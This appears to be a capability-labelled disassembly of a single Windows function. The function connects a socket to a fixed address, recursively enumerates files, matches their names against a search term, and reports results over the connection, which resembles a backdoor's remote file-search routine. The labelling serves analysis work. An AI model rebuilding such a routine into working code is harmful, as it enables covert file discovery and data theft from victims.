Function at 0x4047d2
Capabilities:
Connect socket
Enumerate files on windows

Disassembly:
mov eax, 0x413840
call fcn.00413510
sub esp, 0x354
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov esi, ecx
lea eax, [ebp - 0x29c]
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
or dword [esi], 0xffffffff
xor edi, edi
mov dword [ebp - 4], edi
push 6
push 1
push edi
call sub.WS2_32.dll_socket
mov dword [esi], eax
push 0x10
push 0x41a300
push eax
call sub.WS2_32.dll_connect
test eax, eax
jne 0x404c28
push dword [esi]
sub esp, 0x10
mov ebx, esp
lea eax, [ebp + 0x38]
push eax
mov edi, 0x41a2f0
push edi
lea eax, [ebp + 0x28]
push eax
lea eax, [ebp - 0x2b4]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0xc
push eax
push ebx
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0xc
push 0x64
call fcn.004026c2
add esp, 0x18
mov ebx, eax
inc ebx
neg ebx
sbb ebx, ebx
inc ebx
mov byte [ebp - 0x2a0], bl
lea ecx, [ebp - 0x2b4]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
test bl, bl
je 0x404894
mov dword [ebp - 0x2b8], 1
push 0x416038
lea eax, [ebp - 0x2b8]
push eax
call sub.MSVCRT.dll__CxxThrowException
push dword [sym.imp.MSVCRT.dll_tolower]
lea ecx, [ebp + 0x18]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::begin_void_]
push eax
lea ecx, [ebp + 0x18]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::end_void_]
push eax
lea ecx, [ebp + 0x18]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::begin_void_]
push eax
call fcn.004050bd
add esp, 0x10
lea eax, [ebp - 0x274]
push eax
push 0x4148f4
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x2c8]
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x2c8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
cmp dword [ebp - 0x14], 0xffffffff
jne 0x404941
push dword [esi]
sub esp, 0x10
mov ecx, esp
lea eax, [ebp - 0x2d0]
push eax
push 0x4146b0
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push 0x65
call fcn.004026c2
add esp, 0x18
mov dword [ebp - 0x2d4], 2
push 0x416038
lea eax, [ebp - 0x2d4]
push eax
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x274]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x404b86
test byte [ebp - 0x274], 0x10
je 0x404a4a
push 0x4148bc
lea eax, [ebp - 0x248]
push eax
mov ebx, dword [sym.imp.MSVCRT.dll_wcscmp]
call ebx
pop ecx
pop ecx
test eax, eax
je 0x404a4a
push 0x4149c4
lea eax, [ebp - 0x248]
push eax
call ebx
pop ecx
pop ecx
test eax, eax
je 0x404a4a
push 0x4149c0
lea eax, [ebp - 0x2e8]
push eax
lea eax, [ebp - 0x248]
push eax
lea ecx, [ebp - 0x2e4]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_unsigned_short_int_const___class_std::allocator_unsigned_short_int__const__]
push eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x2f8]
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__
add esp, 0xc
push eax
lea eax, [ebp - 0x294]
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__
add esp, 0xc
lea ecx, [ebp - 0x2f8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x2e4]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
sub esp, 0x10
mov ecx, esp
lea eax, [ebp + 0x18]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
sub esp, 0x10
mov ecx, esp
lea eax, [ebp - 0x294]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
mov ecx, esi
call fcn.00404c5e
test al, al
jne 0x404a3e
mov dword [ebp - 0x304], 3
push 0x416038
lea eax, [ebp - 0x304]
push eax
call sub.MSVCRT.dll__CxxThrowException
lea ecx, [ebp - 0x294]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea eax, [ebp - 0x308]
push eax
lea eax, [ebp - 0x248]
push eax
lea ecx, [ebp - 0x284]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_unsigned_short_int_const___class_std::allocator_unsigned_short_int__const__]
push dword [sym.imp.MSVCRT.dll_tolower]
lea ecx, [ebp - 0x284]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::begin_void_]
push eax
lea ecx, [ebp - 0x284]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::end_void_]
push eax
lea ecx, [ebp - 0x284]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::begin_void_]
push eax
call fcn.004050bd
add esp, 0x10
push 0
lea eax, [ebp + 0x18]
push eax
lea ecx, [ebp - 0x284]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::find_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_int_const]
mov ecx, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
cmp eax, dword [ecx]
je 0x404b75
lea eax, [ebp - 0x31c]
push eax
push 0x250
lea eax, [ebp - 0x274]
push eax
lea ecx, [ebp - 0x318]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___unsigned_int__class_std::allocator_char__const__]
push eax
lea ecx, [ebp - 0x24]
call dword [0x4142d0]
lea ecx, [ebp - 0x318]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push dword [esi]
sub esp, 0x10
mov ebx, esp
lea eax, [ebp - 0x24]
push eax
push edi
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x334]
push eax
call fcn.00412072
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x344]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0xc
push eax
push ebx
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0xc
push 0x66
call fcn.004026c2
add esp, 0x18
mov ebx, eax
inc ebx
neg ebx
sbb ebx, ebx
inc ebx
mov byte [ebp - 0x320], bl
lea ecx, [ebp - 0x344]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x334]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
test bl, bl
je 0x404b75
mov dword [ebp - 0x348], 4
push 0x416038
lea eax, [ebp - 0x348]
push eax
call sub.MSVCRT.dll__CxxThrowException
lea ecx, [ebp - 0x284]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
jmp 0x404941
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [esi]
sub esp, 0x10
mov esi, esp
lea eax, [ebp + 0x38]
push eax
push edi
lea eax, [ebp + 0x28]
push eax
lea eax, [ebp - 0x35c]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0xc
push eax
push esi
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0xc
push 0x67
call fcn.004026c2
add esp, 0x18
lea ecx, [ebp - 0x35c]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp + 0x28]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
push eax
call fcn.00404efb
pop ecx
pop ecx
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp + 0x18]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp + 0x28]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp + 0x38]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 0x40
push edi
push edi
call sub.MSVCRT.dll__CxxThrowException
lea ecx, [ebp + 0x28]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
push eax
call fcn.00404efb
pop ecx
pop ecx
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]